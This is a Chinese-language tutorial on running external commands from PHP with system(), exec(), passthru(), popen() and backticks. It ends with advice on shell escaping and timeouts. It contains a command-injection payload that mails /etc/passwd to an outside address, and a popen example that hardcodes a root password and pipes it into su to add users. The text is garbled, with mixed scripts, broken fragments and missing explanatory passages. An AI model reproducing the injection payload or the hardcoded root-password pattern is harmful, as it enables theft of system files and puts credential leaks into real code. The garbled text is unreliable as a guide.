PHP作為一種伺服器端的腳本語言，象編寫簡單，或是複雜的動態網頁這樣的任務，它完全能夠勝任。但事情不總是如此，有時為了實現某個功能，必須藉助於作業系統的外部程式（或稱為命令），這樣可以做到事半功倍。
那麼，是否可以在PHP腳本中呼叫外部指令呢？如果能，如何去做呢？有些什麼方面的顧慮呢？相信你看了這篇文章後，一定能夠回答這些問題了。
是否可以？
答案是肯定的。 PHP和它的程式設計語言一樣，完全可以在程式內呼叫外部命令，而且是很簡單的：只要用一個或幾個函數即可。
前提條件
由於PHP基本上是用於WEB程式開發的，所以安全性成了人們考慮的一個重要面向。於是PHP的設計者們為PHP加了一個門：安全模式。如果運行在安全模式下，那麼PHP腳本將受到以下四個方面的限制：
執行外部命令
在開啟檔案時有些限制
連接MySQL資料庫
基於HTTP的認證
在安全模式下，只有在特定目錄中的外部程式才可以被執行，對其它程式的呼叫將被拒絕。這個目錄可以在php.ini檔中用safe_mode_exec_dir指令，或是在編譯PHP是加上--with-exec-dir選項來指定，預設是/usr/local/php/bin。
如果你呼叫一個應該可以輸出結果的外部指令（意思是PHP腳本沒有錯誤），得到的卻是一片空白，那麼很可能你的網管已經把PHP運行在安全模式下了。
如何做？
在PHP中呼叫外部指令，可以用以下三種方法來實現：
1） 用PHP提供的專門函數
PHP提供共了3個專門的執行外部指令的函數：system（），exec（），passthru（）。
system（）
原型：string system （string command [, int return_var]）
system（）函數很其它語言中的差不多，它執行給定的命令，輸出和返回結果。第二個參數是可選的，用來得到指令執行後的狀態碼。
範例：
<?system（"/usr/local/bin/webalizer/webalizer"）；?> exec（）
原型：string exec （string command [, string array [, int return_var]]）
exec（）函數與system（）相似，也執行給定的命令，但不輸出結果，而是傳回結果的最後一行。雖然它只會傳回指令結果的最後一行，但用第二個參數array可以得到完整的結果，方法是把結果逐行追加到array的結尾處。所以如果array不是空的，在呼叫之前最好用unset（）最它清除。只有指定了第二個參數時，才可以用第三個參數，用來取得指令執行的狀態碼。
範例：
<? exec（"/bin/ls -l"）； exec（"/bin/ls -l", $res）； #$res是一个数据，每个元素代表结果的一行 exec（"/bin/ls -l", $res, $rc）； #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0 ?>
passthru（）
原型：void passthru （string command [, int return_var]）
passthru（）只呼叫🎜>
passthru（）。命令，不回傳任何結果，但把命令的運行結果原樣直接輸出到標準輸出設備上。所以passthru（）函數常用來呼叫象pbmplus（Unix下的一個處理圖片的工具，輸出二進位的原始圖片的流）這樣的程式。同樣它也可以得到指令執行的狀態碼。 範例：<? header（"Content-type: image/gif"）； passthru（"./ppmtogif hunte.ppm"）； ?>
<? $fp=popen（"/bin/ls -l", "r"）； ?>
*/ $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf（"%s \"%s %s\"",$sucommand,$useradd,$user）； $fp = @popen（$user_add,"w"）； @fputs（$fp,$rootpasswd）； @pclose（$fp）； ?>
<? $res=`/bin/ls -l`; echo '<b><pre class="brush:php;toolbar:false">'.$res.''; ?>
先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail（）函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样：
<? system（"mail $to < products.txt"）； echo "我们的产品目录已经发送到你的信箱：$to"; ?>
用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成：
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸好，PHP为我们提供了两个函数：EscapeShellCmd（）和EscapeShellArg（）。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，象system（）等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如：
<? system（"/usr/local/bin/order_proc > /tmp/null &"）； ?>
